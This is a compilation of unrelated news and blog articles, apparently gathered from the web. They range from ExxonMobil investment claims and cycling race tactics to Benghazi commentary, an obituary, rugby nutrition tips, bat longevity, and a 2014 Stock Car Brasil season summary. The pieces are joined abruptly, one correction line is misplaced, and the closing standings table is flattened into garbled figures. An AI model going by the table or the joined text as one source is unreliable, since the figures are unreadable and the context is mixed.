capacity. The company’s Growing the Gulf expansion program, consists of 11 major chemical, refining, lubricant and liquefied natural gas projects at proposed new and existing facilities along the Texas and Louisiana coasts. Investments began in 2013 and are expected to continue through at least 2022. And one from the White House release: Exxon Mobil is strategically investing in new refining and chemical-manufacturing projects in the United States Gulf Coast region to expand its manufacturing and export capacity. The company’s Growing the Gulf program consists of 11 major chemical, refining, lubricant and liquefied natural gas projects at proposed new and existing facilities along the Texas and Louisiana coasts. Investments began in 2013 and are expected to continue through at least 2022. As you can see, with the exception of a couple style issues (ExxonMobil becomes Exxon Mobil, and U.S. Gulf Coast becomes United States Gulf Coast) and one missing word (expansion), those two paragraphs mirror each other verbatim. Perhaps most important, however, is the last line shared by both: “Investments began in 2013 and are expected to continue through at least 2022.” In other words, the domestic investment the White House claims is evidence of Trump delivering on his campaign promises actually began under President Obama. *Correction, March 6, 2017, at 6:01 p.m.: An earlier version of this post misstated the time Woods was scheduled to give his keynote address. -One of my favorite yet most frustrating things about racing is how hard it is to win. There are so few sports that rank with cycling as far as all the things that must align to capture that elusive victory. It is crucial that when cyclists start to race, they learn how to win races.As a professional coach I have the luxury of “replaying” hundreds of races through my client’s eyes and have learned that there are a three common racing mistakes that I see repeated time and time again as riders acquire the skills to race.You know this move, the moment when you tear open the zippered lycra of your cycling jersey to reveal the large capital yellow “S” on your chest and unfurl your streaming red cape, attacking and dropping your competition from 50k out, then effortlessly holding them off to the finish?The reality of this move often looks different, more like you throw down a 1,000 watt attack, open a gap, hold it for 3 -5 minutes then get caught by the pack and hopefully hang on or even get spit out the back.The hero move is often a ticket to disaster, typically ensuring a pack finish at best.Bike racing is all about understanding the “odds.” With all the things you need to have go right in order to win, you have to learn patience and begin to think about the odds. So here is a new “Rule of 3” that I teach my clients as they learn to race:a. Step 1 – Narrow the Oddsb. Step 2 – Narrow the Oddsc. Step 3 – Win the raceThis means learning to think through the race to go for the win. Your first two moves (I target two as an example, might be one, might be five but focus on the idea) as ways to “improve your odds” of winning.How can you winnow down the pack? Get rid of the riders on the edge? Shell your key competitor? This is accomplished by smaller moves, often in conjunction with other riders. How can your “moves” narrow the odds, some ideas:1. Don’t go it alone! In a pack of 50 riders, early move should focused on splitting the pack in half or at least reducing the counts some. How can you do this:a. To narrow the odds, don’t attack so hard that other riders are not willing to follow (or believe you will just blow up the road), attack hard but bring a bunch.b. How to bring others? Well here is a simple answer that so many racers don’t think of. Try telling others BEFORE you attack. Yep, give away your super-secret strategy (which most other racers are thinking about by the way) and tell a small group of select riders that you might think have the horsepower to attack, then see if they will work with you for a while to at least drop a percentage of the pack.2. Once you have dropped off a chunk of the pack, focus on ways to set up the next separation. Now it is time to start thinking about how you can win the race, then do something to set that up. Are you planning on the sprint finish? Are you a killer TT artist looking for the longer break? Your second “narrow the odds” needs to start setting up your winning move.3. Your winning move IS YOUR STRENGTH (a least that is how the plan should go). So many times bike racing forces you to improvise as you go but focus on setting up final moves that allow to implement YOUR STRENGTH as the move.In any mass start event you are affected by the terrain BUT you race OTHER RACERS. Too many people that start racing over focus on the course and its terrain and layout and forget to pay attention to other riders.You need to observe others ON THE COURSE and ON TERRAIN to better understand how they ride, how tired they are, how they can beat you (and how you can beat them). A few tricks:1. Look around on short climbs later in the race – Many riders really “show” fatigue on short climbs later in races. Look to see who is really suffering and who is not. Use this knowledge to improve your odds. If you are strong but watching a good percentage of the group suffering, talk to some of the other riders going well and plan a strong push on the next riser to get rid of those suffering.2. Look at THEM, how do they look? Look at their bike? Yes, there bike. Is their water bottle full? Have they been drinking and eating?OK, this one a lot of people might know but I cannot tell you the numbers of times I have reviewed files from smart racers that get “impatient” and attack when things are easy and cruising along. The reality is that, if things are just cruising down the road, everyone is ready to attack. Typically this means they have caught their breath and will be quick to respond and chase.Learn to attack when things are hard, this is a big key to success. I know, I know, it hurts…suck it up buttercup this is bike racing and if you want to win, it will hurt.When things are going hard and you attack or make a move, many riders will sit back hoping others will do the work to chase you as they do an internal “gut-check” on just how demoralizing that flyer you just took was. This doesn’t mean that catching everyone sitting up for a second and throwing down a little surprise cannot work but much better hitting them when it hurts.There are plenty of ways to use these tips, my goal was to just point out some key areas of mistakes and give you food for thought. Obviously, you need to be fit enough to handle the demands of the race event AND implement your strategy to win.Tim Cusick is a USA Cycling Coach and the President and Co-Owner of Peaks Coaching Group. Tim has been coaching for over 10 years, focusing on training and racing with power data. You can reach Tim for comments at [email protected] , and check out Tim and the entire Peaks Coaching Group for more information on coaching services, camps, and products. -The oculus rises at Fulton Center Lower Manhattan holds centuries of history in its shoreline and beneath its streets. With the sandy beaches of the former New Amsterdam gradually expanding by landfill over the last three centuries, a diverse historical trail has been left in its wake. This is very much the case around the World Trade Center’s site. Earlier we looked at how the shoreline around the World Trade Center has changed dramatically over time. With The Port Authority digging ever deeper at the site, two sizable artifacts came to light in 2010, reaffirming the area’s rich history. The first is the Hudson River Bulkhead. Throughout the 19th century, New York was growing as the financial and commercial centre of the United States. Trade was increasing but ships found it difficult to navigate the western shoreline because of varying depths of water in the harbor. In 1870, the first chief engineer of the city’s Department of Docks, Civil War commander, General George B. McClellan, proposed creating a bulkhead to regularize the shoreline. This would allow larger ships to dock at the edge of the island for the first time, as opposed to at the piers and wharves hundreds of feet away from the shore. The Bulkhead effectively opened up Manhattan’s edges to the world of seagoing commerce. Over the next six decades, engineers built the Hudson River Bulkhead, which came to extend over three miles from the Battery to West 59th Street. Archaeologist, Zachary Davis of The Louis Berger Group, a consulting firm working with The Port Authority, dates the part of the Bulkhead near the World Trade Center to sometime between 1893 and 1896. In 2007, a 40-foot section of the Bulkhead was uncovered during early stages of construction of the East-West connector, the underground passageway linking the Fulton Street subways and the World Financial Center. It could be seen by the public from the World Financial Center’s Winter Garden Atrium. Today this bulkhead is no longer operational, largely cut off from by the river by massive excavations and landfill projects undertaken during the World Trade Center’s construction during the late 1960s. Still, the Bulkhead had its uses even in the late 20th century. It was covered over by a platform during construction of the World Financial Center in the 1980s, forming part of the structure that captured storm-water runoff and then funneled it out into the Hudson. As construction of the passageway continued over the summer of 2010, it was necessary to begin removing the Bulkhead. A clear path was needed to run between the World Trade Center and Battery Park City for the East-West Connector. Raymond E. Sandiford, chief geotechnical engineer at Port Authority, is enthusiastic about the passageway project, although his real admiration is in the 19th century construction of the Bulkhead. He explained that a preliminary excavation showed how timber structures from the early 19th century might have been used to act as a bulkhead before this one was built. The hope is that as work continues on the site, more of this historic waterfront will be uncovered and such questions will be answered. Meanwhile, as Port Authority crews were digging at the site of the South Bathtub between Liberty and Cedar/Albany Streets in 2010, they uncovered parts of an 18th-century ship. The discovery was made about 30 feet down. Experts believe that the vessel was discarded in its location, near the intersection of Washington and Cedar Street, as part of the landfill that helped form Washington Street. The ship is thought to have been constructed in the 1770s near Philadelphia and is recorded to have been a 55-feet long flat-bottomed structure. Warren Reiss, maritime historian and archaeologist at the University of Maine, said that even after extensive research, there are several things baffling archaeologists. Dubbed the S.S. World Trade Center, Reiss said that there is even uncertainty as to how many masts the ship had. The few clues that we do know about the ship and its purpose have been found in the small objects littered through its remains. Archaeologists have found a small cannon ball and a tiny button belonging to a British infantry unit stationed in New York during the Revolution. It is very likely that the ship was involved in trade. Along with the Bulkhead, the ship unearths details about life centuries ago as well as the changing geography of Manhattan. The so-called S.S. World Trade Centre has been removed from the site and is now being preserved and studied in the conservation lab at Texas A&M University. An entire plethora of items are constantly being unearthed in Lower Manhattan. Only earlier this month, an excavation at South Street Seaport revealed more than a hundred liquor bottles, dating back to the 18th century. They were found 7 feet underground in a 15-foot section at the corner of Fulton and Water Street. With the upcoming demolition of the Art Deco building at 68-74 Trinity Place, who knows what else will be uncovered near the World Trade Center. If you’re interested in the maritime history of the city, check out our article on six famous shipwrecks in New York or look into our two-part piece on the nautical architecture around New York: New York City’s Nautical Architecture: Part I, New York City’s Nautical Architecture: Part II. Fulton Center, world trade center -Looking for news you can trust? Subscribe to our free newsletters. The reporting on what we know about the Benghazi attacks on September 11 just gets more and more interesting. Let’s do a quick Q&A: Why was President Obama initially unwilling to call it an act of terror? He wasn’t. The day after the attack, on September 12, he gave a Rose Garden speech in which he said, in reference to the assault, “No acts of terror will ever shake the resolve of this great nation.” At campaign stops that day and the next, he again referred to the Benghazi assault as “an act of terror.” A McClatchy report sums up the evidence: “In the first 48 hours after the deadly Sept. 11 attacks on U.S. diplomatic outposts in Libya, senior Obama administration officials strongly alluded to a terrorist assault and repeatedly declined to link it to an anti-Muslim video that drew protests elsewhere in the region, transcripts of briefings show.” A day after the attacks, the CIA station chief in Libya reported to Washington that there were eyewitness reports that the attack was carried out by militants. Why didn’t Obama administration officials say so? They did. Hillary Clinton, for one, referred to it as an attack “by a small and savage group.” Okay, but that McClatchy report quoted above also says that a few days after the attacks administration officials started putting more emphasis on the “Innocence of Muslims” video. Why? It had nothing to do with the Benghazi attacks. That’s not what locals said. As David Kirkpatrick reports: “To Libyans who witnessed the assault and know the attackers, there is little doubt what occurred: a well-known group of local Islamist militants struck the United States Mission without any warning or protest, and they did it in retaliation for the video…The fighters said at the time that they were moved to act because of the video, which had first gained attention across the region after a protest in Egypt that day.” So the video might have played a role. But why did UN ambassador Susan Rice put the video front and center in her Sunday morning appearances a week after the attacks? She didn’t, really. On Face the Nation, she said the “best information” at that moment suggested that Benghazi began “as a reaction to what had transpired some hours earlier in Cairo where […] there was a violent protest outside of our embassy sparked by this hateful video.” She then immediately added: “But soon after that spontaneous protest began outside of our consulate in Benghazi, we believe that it looks like extremist elements, individuals, joined in that effort with heavy weapons of the sort that are, unfortunately, readily now available in Libya post-revolution. And that it spun from there into something much, much more violent.” Still, why even mention the video? By that point, wasn’t it clear that the real cause of the attacks lay elsewhere? Not really. We now know that the CIA still believed the video was partly to blame for the violence. David Ignatius reports that a set of “talking points” prepared by the CIA on September 15, the day Rice taped her TV appearances, “support her description of the Sept. 11 attack on the U.S. Consulate as a reaction to Arab anger about an anti-Muslim video prepared in the United States. According to the CIA account, ‘The currently available information suggests that the demonstrations in Benghazi were spontaneously inspired by the protests at the U.S. Embassy in Cairo and evolved into a direct assault against the U.S. Consulate and subsequently its annex. There are indications that extremists participated in the violent demonstrations.'” Fine. But why did Rice suggest that the attacks came after a “spontaneous” protest at the Benghazi consulate? There was no protest. True, but Rice didn’t know that at the time because the CIA talking points still referred to “demonstrations” that had been inspired by the protests in Cairo. As David Martin reported: “Over that same weekend, US intelligence began to uncover evidence that there had not been a protest outside the consulate. That new intelligence did not get to Rice before she appeared on the Sunday talk shows, making her the target of Republican accusations the administration was trying to cover up the terrorist attack.” But why did anyone think there was anything “spontaneous” about this in the first place? In fact, the assault on the consulate was preplanned by “Al Qaeda elements,” as Libyan President Mohammed Magarief said, wasn’t it? No. The LA Times reports that Magarief was mistaken: “The assault on the U.S. diplomatic mission in Benghazi last month appears to have been an opportunistic attack rather than a long-planned operation, and intelligence agencies have found no evidence that it was ordered by Al Qaeda, according to U.S. officials and witnesses interviewed in Libya…The attack was ‘carried out following a minimum amount of planning,’ said a U.S. intelligence official…A second U.S. official added, ‘There isn’t any intelligence that the attackers pre-planned their assault days or weeks in advance.’ Most of the evidence so far suggests that ‘the attackers launched their assault opportunistically after they learned about the violence at the U.S. Embassy in Cairo’ earlier that day, the official said.” Still, the Obama administration was negligent in refusing a stream of requests from American diplomats in Libya to provide more security, wasn’t it? That’s possible. However, increased security probably wouldn’t have changed anything. As the New York Times reported a couple of weeks ago, “The requests were denied, but they were largely focused on extending the tours of security guards at the American Embassy in Tripoli—not at the diplomatic compound in Benghazi, 400 miles away.” Bottom line: There were conflicting reports on the ground, and that was reflected in conflicting and sometimes confused reports from the White House. I don’t think anyone would pretend that the Obama’s administration’s response to Benghazi was anywhere near ideal. Nevertheless, the fact is that their statements were usually properly cautious; the YouTube video really did play a role; the attack was opportunistic, not preplanned; and it doesn’t appear to have had any serious connection with Al Qaeda. It’s true that it took about 10 days for all this to really shake out, but let’s be honest: 10 days isn’t all that long to figure out what really happened during a violent and chaotic attack halfway around the world. I get that it’s a nice opportunity for Republicans to score some political points in the runup to an election, but really, there’s not much there there. -Mel Tillis, who earned a place in the Country Music Hall of Fame and a National Medal of Arts as a singer and writer of enduring songs like “Ruby, Don’t Take Your Love to Town,” and who was equally known for the stutter he employed to humorous and self-deprecating effect onstage, died on Sunday in Ocala, Fla. He was 85. Mr. Tillis had “battled intestinal issues since early 2016 and never fully recovered,” his publicist, Don Murry Grubbs, said in a statement. The suspected cause of death was respiratory failure, he said. Mr. Tillis found a way to turn his speech impediment into an asset by using his ready smile and innate comedic timing to get his audiences to laugh along with him. He stuttered his way to regular appearances on television talk shows and to clowning bit parts in Hollywood movies. He even went so far as to make the nickname Stutterin’ Boy, conferred upon him by the singer Webb Pierce, the title of his autobiography (written with Walter Wager and published in 1984), and to have it painted on the side of his tour bus. He named his personal airplane Stutter One and referred to his female backup singers as the Stutterettes. -Interview With Nutrition Expert Ben Coomber Ben Coomber is a rapidly growing name within the health and fitness industry (just search “Ben Coomber” on Google to see what I mean). For those of you who don’t already know, he is one of a new breed of fitness and nutrition experts whose no-bullshit approach to health is helping make the subject accessible to all. Even better is the fact he is a rugby nut currently plying his trade for Ipswich YM RUFC. Outside of rugby Ben runs bespoke nutrition and fitness service Body Type Nutrition as well as writing and presenting on the subject. He has even produced this handy rugby nutrition guide that is a must read for anyone out there playing rugby at any level. [adsenseyu1] As you might then be able to imagine, Ben is an incredibly busy guy and so it was to our great fortune he was able to take some time out of his busy schedule to talk to us about the importance of proper nutrition in rugby. Here are the highlights of my chat with Ben; Personalisation In his work Ben is a huge advocate of personalising the approach to an individuals nutrition and applies the same logic to rugby. As a sport full of individuals compromising of all shapes and sizes it is essential to find an approach that works best for you rather than looking for a “cookie cutter” solution for an entire squad. Even amongst the different body types within a team players roles will vary greatly, for example whilst some may rely on strength and power others may focus more on speed and agility. It is therefore essential to alter your diet to match these particular goals. The main focus within your nutritional personalisation should be the amount of carbs you take on board. Whilst a player with an ectomorphic body type may be able to consumer a larger quantity of carbohydrates, a player with an endomorphic body type will likely need to restrict their carb intake in order to avoid it becoming stored as fat. Unfortunately there is no exact science behind this approach so instead start from a point you feel is appropriate for your body shape and goals and then adjust your consumption accordingly. [adsenseyu4] As well as looking out for weight loss/gain whilst you train and play as an indicator of the success of your diet, there are also a number of other key indicators you can monitor. Think about whether you find yourself having slumps after meals or even feeling bloated and generally pretty crappy. If so it’s likely you may have food intolerances, for example to gluten. If so then think about cutting this particular element out of your diet temporarily to see the effect it has on your body. It’s Not All About The Food Ben is a keen advocate of getting the basics right as well as sorting out your diet. Stress can have a hugely negative impact on your physique and must therefore be considered alongside diet and workout plans. This is particularly key if stress begins to affect your sleep as the best time to catch some shut-eye is between 10pm and 6am. Again if you aren’t catching enough Z’s then you could be working counter-productively when trying to achieve your fitness and health goals. Sleep is particularly important as it helps to raise testosterone levels which is obviously pretty essential when trying to build muscle. Eat Your Veggies They’re essential! Nutrient dense and great for gut health, your veggies should be the cornerstone of your diet alongside proteins. Not only will this help fill you up so you don’t end up eating a load of crap it will also help improve your digestion so you can better absorb nutrients from your other food sources. Get thinking about plenty of leafy greens so go ahead and grab another handful of spinach, in fact finish the whole bag off. It’s not all about calories, simply think “what is the value of these calories that I am about to eat”. Mix It Up You’re never going to get all of the nutrients you need from the same foods everyday so make sure you’re mixing up your diet. Not only will this help to ensure you are getting all the right kinds of nutrients you need but it will also help to keep your meals interesting. Nobody is ever going to stick to a really restrictive diet so make sure you vary it up a bit to ensure you stick to your goals. [adsenseyu1] 90/10 You’ll all be glad to hear that Ben isn’t tee-total when it comes to getting your fitness and nutrition right. He advocates a 90/10 split in your diet as if you get it right 90% of the time your body should be able to deal with the other 10% and still maintain the kind of composition your are looking for. So don’t feel too guilty for that pint and curry after a game on a Saturday, without it you might struggle to stick to your healthy eating the rest of the time. Just be careful that you don’t start to go beyond the 90/10 split as the more the two figures start to come together the harder you’re going to find it to maintain your body composition. Supplements Ben points to three key supplements that would be useful to all rugby players once they have got their basic nutrition right. I’m sure many of you will already be packing whey protein shakes in your gym kits and taking creatine, what many of you may not however be aware of is the benefits of a magnesium supplement. magnesium is a great aid in recovery, particularly after a bruising game of rugby. Recovery As mentioned Ben is a big advocate of magnesium supplements, after particularly bruising games think about using magnesium bath salts to help recover from delays onset muscle soreness (DOMS). In addition Ben also has a tasty recommendation for helping your recover from injuries. Get down to your local butchers and buy plenty of on-the-bone meat, get it all in a pan with some stock and a whole load of veggies. Leave it to stew for a while before removing the bones. The resultant broth is packed full of the kinds of nutrients that will help improve recovery times. [adsenseyu4] Meal Plans As a general guide to how your meals should look each day Ben suggests something like the below; Breakfast – large omelette packed full of veggies Lunch – a big salad with a decent sized portion of protein (ideally meat) – a big salad with a decent sized portion of protein (ideally meat) Dinner – portion of meat with veg/salad and some carbs such as a jacket potato – portion of meat with veg/salad and some carbs such as a jacket potato Snacks – whey protein shake, smoothie made with milk and mixed fruits or some fruit salad and greek yoghurt with honey The key here is to consume the bulk of your carbs post training. As you can see it is key to get as much protein in to each meal as possible along with a big portion of veg or leafy greens. As you can see potentially there’s a huge amount to consider when trying to get into the right kind of shape for rugby but with the right amount of prep and planning your health and fitness goals are attainable. It is all down to the individual so play around with your diet and find what works for you. This isn’t rocket science but it is clear that for a lot of people there needs to be a huge shift in mentality. The thing Ben made most apparent for me was how wrong a lot of health advice out there is. For years the mantra particularly of Government backed advice is that all fat is bad, well if you want a counter argument for that just look at Ben. He’s in great shape and has a diet that isn’t restrictive and is full of healthy fats allowing him to play and train on a pretty much daily basis. His tip about a magnesium supplement should also come in pretty handy this season as I find myself spending more time than I would probably like to in the front row. I highly recommend giving Ben a follow on Twitter (@BenCoomber) and checking out his podcast if you’re keen to pick up and more top tips. A big thank you to Ben for taking the time out to speak to us and all the best to him and Ipswich YM RUFC this season. Comments -Guitarist Dweezil Zappa is the latest musician to be featured on Guitar Tricks Insider’s video series. Zappa participated in a review and demonstration of the Eventide H9 Harmonizer pedal. Fellow guitarists and gearheads will appreciate the level of detail and step-by-step instruction included in the 10-minute clip. More information about the Eventide H9 pedal is available in the digital edition of the latest edition of Guitar Tricks Insider, available via this link. Watch Dweezil Zappa’s Guitar Tricks Insider review of the Eventide H9 below: Zappa released Via Zammata – his first solo album in 10 years – last November through Fantom Records. He will soon appear as part of a number of Experience Hendrix concerts featuring the likes of Buddy Guy, Jonny Lang, Kenny Wayne Shepherd, Zakk Wylde, Doyle Bramhall II and others honoring the legacy of Jimi Hendrix. -Rob Warner is a legend in the British mountain biking scene. A key cog as far back as the early 90s, Rob became the first ever British rider to win on the UCI Mountain Bike World Cup tour when he took the top spot at Kaprun in Austria in 1996. He rode with Saracen alongside Steve Peat, then for MBUK and Giant Bicycles, winning the UK National Champs in ’97, ’98 and ’01 before turning his hand to commentary, where he turned out to be, well, quite the character. Back in the Freecaster days, when Rob openly admits to have been commentating half-cut in a party booth, there seemed to be no topic the dude wouldn’t take on. And he’s continued to deliver some of the funniest action sports commentary ever on the Red Bull microphone. So, we thought we’d round up some of Rob’s more colourful expressions from the past and stick them on wanderlust-inspired backgrounds for your viewing pleasure. Approach with caution – these may offend some… -Has this bat discovered the fountain of youth? Bureau of Natural Heritage Conservation (NHC) staff discover one of the oldest little brown bats ever recorded. Learn more about bats and NHC Wisconsin DNR staff read the bat's band number. About the bat This male little brown bat was banded in April 1983 making it at least 32 years old in February 2015 when it was last recovered. There is no way to age bats after they reach adulthood (several months after birth), so this bat could have been a yearling born in the summer of 1982, or already several years old in 1983. The bat was banded by Gerda Nordquist and Elmer Birney of the Minnesota DNR in the same site as it was recovered. What has happened in his lifetime Over the years, he has eaten a lot of insects Assuming this bat has eaten its weight (6 grams) in insects every night during its active period for the past 32 years, we estimate it has consumed roughly 13,977,600 mosquito-sized insects. Learn more about bats and NHC One of the oldest little brown bats ever recorded hanging with friends. Do you see the silver band? Other old bats The record for the oldest little brown bat in the wild is 35 years in Alberta Canada. The bat was banded in 1975 and was recovered as recently as 2009. Little information exists on lifespans of bats in Wisconsin. Other resources indicate most common ages for little brown bats are between six and ten years. Other species in Wisconsin such as the northern long-eared bat have slightly shorter lifespans and the oldest recorded northern long-eared bat was 18 years old. Of note, the oldest bat on record is a Brandt’s myotis who was last recovered in Siberia at the age of 41. Small mammal = short life? Bats have some of the longest life spans when compared to other mammals their size. It is not uncommon for little brown bats to live over 25 years. Other species of bat live up to 20 years. The little brown bat is about the size of a house mouse, which in comparison lives only one to two years on average. Mice also give birth to large litters of four to fourteen young, whereas bats usually give birth to only a single young a year, called a pup. Why we band bats Banding is a safe, permanent method of marking individual bats in the wild. Marking individuals allows researchers to gather valuable information about movement and migration, fidelity to sites (returning to the same site year after year), and longevity as in the case of this bat. Much remains to be learned about bats, and following individuals allows us to create a complete picture of bat ecology. Get a FREE subscription to the Wisconsin Natural Resources Magazine! Donate $25 to the Bureau of Natural Heritage Conservation and receive a year subscription to the Natural Resources magazine as a thank-you gift. -MARIN COUNTY — A Berkeley man was arrested in Solano County in connection with an attempted bank robbery last month in Marin County, police said Thursday. Dandre Chandler Lee Young, 25, is being held at the Marin County Jail in lieu of $250,000 bail. Police at various agencies are investigating whether he can be linked to other crimes in the Bay Area, said Central Marin police Cpl. Jenna McVeigh. The alleged robbery attempt occurred on Feb. 28 at the First Community Bank inside the Safeway store at Corte Madera Town Center. The robber gave a teller a demand note but received no money and fled in a red vehicle. A witness obtained a license plate number and provided it to police. Investigators identified the suspect as Young and obtained a warrant for his arrest and a search warrant for his residence, McVeigh said. On Wednesday, the California Highway Patrol stopped a speeding vehicle in Fairfield and found Young inside. The CHP arrested him on the Marin warrant and for alleged vehicle code violations. The car was not the same vehicle used in the bank robbery, but police found the suspected getaway car at Young’s residence. Police did not disclose whether other incriminating evidence was found at the residence. Young was booked into Marin County Jail on Wednesday evening. He listed his occupation as security guard. Young is being charged with burglary and attempted robbery, said Chief Deputy District Attorney Rosemary Slote. -On Wednesday, the city announced plans to upgrade the bicycle lanes near the South Street Bridge by adding flexible delineator posts by “mid 2018.” The existing, painted bike lanes on 27th Street between Lombard and South Streets and on South Street between the bridge and 21st Street will be repainted and have plastic divider poles installed. The move comes two weeks following the death of a cyclist who was fatally struck by a trash truck while riding in an unprotected bike lane on Spruce Street. Soon after the crash, the city restriped the faded bike lanes on Spruce and Pine Streets. In July, the city held a public meeting to consider a six-month pilot of the protected bike lanes. The city has decided to skip the test run and simply make a permanent upgrade. But the proposal in July also considered extending the bike lane protection down Lombard Street; Lombard’s painted bike lanes will remain unprotected. Protected bike lanes prevent automobiles from travelling or stopping in bike lanes, separating bicycle and automotive traffic more effectively than merely painted lanes. The city has 2.5 miles of protected bike lanes in its network and plans to expand that total by 30 by 2022. In comparison, there are around 200 miles of unprotected bike lanes and 2,575 miles of streets, total. Unlike many bike infrastructure projects, this one received broad support from the local community groups. According to the city, the project is supported by South of South Neighbors Association, Center City Residents Association, and South Street West Business Association, as well as Councilmember Kenyatta Johnson, who represents the area. Local neighbors often oppose protected bike lanes, complaining that they unfairly burden them for the benefit of bicyclists who pass through, but do not live in, the neighborhood. Bike safety advocates retort that their safety should not come second to the occasional inconvenience of some neighbors, whose primary gripe stems from the removed ability to load and unload cars directly in front of their homes. The protected bicycle lanes will be paid for out of a grant from Pennsylvania’s Department of Community and Economic Development’s Multimodal Transportation Fund. Safety advocates have criticized the city for moving slowly on using state and federal grants previously awarded to fund bicycle infrastructure upgrades. -The 2014 Circuito Nova Schin Stock Car Brasil season was the thirty-sixth season of the Stock Car Brasil. Teams and drivers [ edit ] Team changes [ edit ] Stock Car Brasil driver Júlio Campos and businessman Edson Casagrande purchased the cars of Gramacho team and created a new team called the C2 Team. The team also switched manufacturers from Peugeot to Chevrolet. Shell Racing return to Chevrolet after two seasons with Peugeot. After ten season of parternship, Officer group and ProGP break up. Duda Pamplona owner of ProGP still in the series and Officer group left the championship. Ricardo Zonta's team RZ Motorsport lost the BMC Group as its principal sponsor and returned to its official name in 2014. Driver changes [ edit ] Mid-season changes [ edit ] Lico Kaesemodel returned for the second round with Boettger Competições, replacing Felipe Tozzo for selected races. At the fifth round Wellington Justino replaced Tozzo. Kaesemodel replaced Beto Cavaleiro at the Hanier Racing team for the Curitiba round. Stock Car Brasil second tier driver Mauri Zacarelli entered the series in the second RC3 Bassani Peugeot at Cascavel. After one round with Boettger Competições, Justino made his return at Bassani for the Curitiba round. Honda Brasileiro de Marcas driver Vicente Orige made his début with Bassani at Velopark. In Taruma Felipe Gama return to Stock with Bassani after eight seasons. Race calendar and results [ edit ] The provisional 2014 schedule was announced on 6 December 2013 with the track of sixth edition of Stock Car Corrida do Milhão held on August 8 to be announced; the season was contested over twenty-one races at twelve rounds, with the first round at Interlagos being contested by two-driver entries with wildcard drivers. The 2014 official calendar was announced on 20 March, without the Ribeirão Preto street circuit on the calendar. It was later confirmed that the renovated Autódromo Internacional Ayrton Senna in Goiânia would host the sixth edition of the Stock Car Corrida do Milhão. A revised calendar was announced on May 7 with the return of Ribeirão Preto and Curitiba to hold the final round. In August Ribeirão Preto was again removed from the calendar, with another Santa Cruz round added in its place. All races were held in Brazil. Championship standings [ edit ] Points system Points were awarded for each race at an event, to the driver/s of a car that completed at least 75% of the race distance and was running at the completion of the race, up to a maximum of 48 points per event. Points format Position 1st 2nd 3rd 4th 5th 6th 7th 8th 9th 10th 11th 12th 13th 14th 15th 16th 17th 18th 19th 20th Dual race 12 11 10 9 8 7 6 5 4 3 2 1 0 0 0 0 0 0 0 0 Feature races 24 20 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 Sprint races 15 13 12 11 10 9 8 7 6 5 4 3 2 1 0 0 0 0 0 0 Final race 48 40 36 34 32 30 28 26 24 22 20 18 16 14 12 10 8 6 4 2 Dual Race: Used for the first round with Wildcard drivers. Used for the first round with Wildcard drivers. Feature races: Used for the first race of each event and the Stock Car Million race. Used for the first race of each event and the Stock Car Million race. Sprint races: Used for the second race of each event, with partially reversed (top ten) grid. Used for the second race of each event, with partially reversed (top ten) grid. Final race: Used for the last round of the season with double points. Drivers' Championship [ edit ] Teams' Championship [ edit ] Pos Team No. INT SCZ BRA GOI GOI CAS CUR[N 1] VEL SCZ TAR SAL CUR Pts 1 Full Time Sports 18 Ret 10 20 14 17 6 17 7 12 Ret 3 20 7 3 3 21 2 19 1 21 5 419 111 9 16 DNS 24 4 9 2 1 1 18 7 2 4 6 19 11 9 2 4 4 3 2 Red Bull Racing 0 7 2 10 20 3 Ret 8 8 4 Ret 5 4 2 8 15 14 14 4 Ret 10 4 373 29 5 19 2 16 5 Ret DNS 25 Ret 12 1 6 3 7 2 8 17 Ret 12 9 1 3 Prati-Donaduzzi 1 21 11 1 Ret DNS 12 7 6 11 7 12 21 13 10 7 4 10 1 6 22 22 326 4 11 14 Ret 6 2 15 3 5 2 26 6 22 Ret 20 8 2 1 12 13 7 23 4 Mobil Super Racing 11 13 Ret DNS 12 21 Ret DNS 10 Ret 17 18 14 Ret 28 26 18 21 10 14 6 6 297 51 6 26 7 1 20 2 22 4 3 5 4 8 8 2 22 20 19 7 3 5 2 5 Eurofarma RC 65 Ret Ret 11 4 22 Ret 10 12 10 3 11 9 6 4 9 3 7 11 18 11 20 288.5 90 14 4 16 17 25 3 16 9 Ret 11 10 1 10 1 13 12 3 20 Ret 16 14 6 Ipiranga-RCM 21 Ret 21 Ret 10 1 10 1 2 16 9 14 7 9 DSQ 1 9 5 6 8 18 Ret 276 28 12 3 Ret Ret DNS 21 Ret 3 DSQ 19 8 3 1 12 24 Ret 23 13 16 15 15 7 Voxx Racing 5 Ret 8 21 8 19 5 20 16 19 24 23 26 14 11 Ret DNS Ret 21 Ret DNS 19 236 73 4 5 3 9 15 Ret 6 11 7 4 9 5 11 13 Ret 13 13 24 9 1 13 8 Shell Racing 74 10 12 Ret 13 6 Ret DNS 22 13 6 17 19 20 19 25 Ret 18 17 Ret 17 11 201 77 2 1 13 7 14 Ret 5 27 8 2 2 25 25 DNS 17 22 4 9 Ret DNS 18 Hot Car Competições 2 17 7 23 2 26 17 Ret DSQ Ret 27 22 12 Ret Ret 10 1 15 8 10 2 Ret 201 110 18 9 25 18 13 19 15 21 17 8 21 23 12 9 6 6 25 22 Ret DNS 7 10 Vogel Motorsport 14 16 Ret DNS 3 18 8 4 29 22 13 26 17 Ret Ret Ret DNS 8 Ret 5 3 DSQ 195 88 1 28 14 15 9 1 19 15 26 29 15 16 Ret 24 5 5 32 DNS 2 Ret Ret 11 RZ Motorsport 10 24 17 5 5 24 Ret Ret 17 14 22 31 DNS 5 5 23 16 6 3 7 Ret Ret 174 25 8 13 6 22 7 Ret DNS 19 20 10 25 24 Ret 26 Ret DNS Ret Ret 15 Ret 10 12 Schin Racing Team 72 23 Ret DNS 25 Ret 20 13 28 18 15 27 Ret Ret 23 Ret DNS 24 Ret 23 14 9 157 80 3 6 4 11 11 7 Ret 26 9 1 Ret 15 26 DNS 4 7 22 5 Ret DNS Ret 13 C2 Team 70 Ret 18 15 Ret 8 4 18 13 Ret DNS 13 11 15 14 16 Ret 20 Ret 17 12 12 152 83 19 Ret 8 Ret DNS 22 24 18 5 Ret 19 10 16 17 14 Ret 11 DNS 11 8 Ret 14 Boettger Competições 26 23 66 43 22 25 46 Ret 15 24 Ret DNS 13 9 Ret 6 28 24 18 17 16 DSQ DSQ 12 16 20 23 Ret 57 22 24 22 18 12 24 16 32 Ret 20 Ret 30 Ret 16 63 Ret DNS 15 ProGP 8 25 20 17 23 Ret Ret DNS Ret 15 20 20 27 19 18 18 15 16 18 19 13 8 62.5 100 15 22 18 21 16 11 23 20 Ret DNS 30 DNS 18 15 21 17 27 14 21 19 Ret 16 RC3 Bassani 12 20 25 12 27 10 14 14 14 